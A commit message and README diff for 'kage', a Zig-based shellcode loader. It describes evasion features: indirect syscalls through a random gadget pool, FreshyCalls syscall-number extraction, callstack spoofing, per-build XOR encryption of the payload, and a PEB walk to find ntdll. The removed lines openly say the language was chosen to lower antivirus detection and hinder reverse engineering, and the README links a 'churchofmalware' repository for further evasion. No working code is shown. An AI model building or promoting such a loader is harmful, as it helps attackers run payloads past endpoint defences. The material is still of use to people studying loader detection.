kage: freshycalls + rand gadgets + stack spoof

- freshycalls sorted export rva table instead of hells gate for SSNs
- 64 syscall;ret gadgets in a pool, picks random via xorshift64
- hells_gate.s pushes fake ntdll return before syscall now
- got rid of the 5 wrapper functions, just one syscall_dispatch
- deleted win32.zig, using std.os.windows. named structs for peb
- asm volatile and enum fixes so this compiles on zig 0.16
- build.zig: added .abi = .gnu, .Windows subsystem

README.md

@@ -6,33 +6,24 @@
 
 > 影に潜む
 
-Shellcode loader using indirect syscalls. Self-injection, jitter between steps. Also Windowless proccess. 
+Shellcode loader using indirect syscalls. Self-injection, FreshyCalls SSN extraction, random gadget pool, callstack spoofing, per-build XOR key, jitter.
 
-## Build
+## Why Zig
+
+Zig's build system handles everything: random XOR key generation, comptime shellcode encryption, cross-compilation. One command, no external tools needed. No CRT linked, minimal import table.
 
 ```bash
-# 1. place your shellcode as valak.bin in this directory
-# 2. compile:
 zig build -Dtarget=x86_64-windows-gnu -Doptimize=ReleaseFast
 # → zig-out/bin/kage.exe
 ```
 
-Single binary output, no external files needed at runtime.
-
-## Why Zig
-
-No CRT. C programs pull in the C Runtime Library which adds DLL imports to your IAT. Zig just calls the OS. Means less for AV to see.
-
-Detection engines mostly know C, C++, Rust, Go. Zig flies under the radar. Lower VirusTotal scores.
-
-Ghidra struggles with Zig binaries (there's an open bug for it). IDA doesn't properly support it either. Makes reverse engineering harder.
-
 ## 仕掛け
 
 - **影探し** — ntdll via PEB walk (`gs:[0x60]`)
-- **闇渡り** — indirect syscall dispatch
-- **血判** — Hell's Gate SSN resolution
-- **影纏い** — XOR-encoded asm dispatch globals
+- **闇渡り** — indirect syscall dispatch (64 random gadgets)
+- **血判** — FreshyCalls SSN extraction (sorted export RVA, immune to inline hooks)
+- **封印** — comptime shellcode XOR with per-build 128-bit random key
+- **影纏い** — XOR-encoded asm dispatch globals + callstack spoofing
 
 For evasion use [Valak](https://git.churchofmalware.org/JYenn/valak).
 
@@ -40,11 +31,11 @@ For evasion use [Valak](https://git.churchofmalware.org/JYenn/valak).
 
 ```
 src/
-├── main.zig       entry, execution
-├── win32.zig      types & externs
-├── pe.zig         PE parser, export resolver
-├── syscall.zig    Hell's Gate extraction + PEB ntdll finder
-├── hells_gate.s   asm dispatch (XOR globals)
+├── main.zig       entry, unified syscall dispatch
+├── nt.zig         NT pseudo-handles not in stdlib
+├── pe.zig         PE parser, export resolver, section headers
+├── syscall.zig    PEB walk, FreshyCalls table, gadget pool, PRNG
+├── hells_gate.s   asm dispatch (XOR globals, stack spoof)
 build.zig
 ```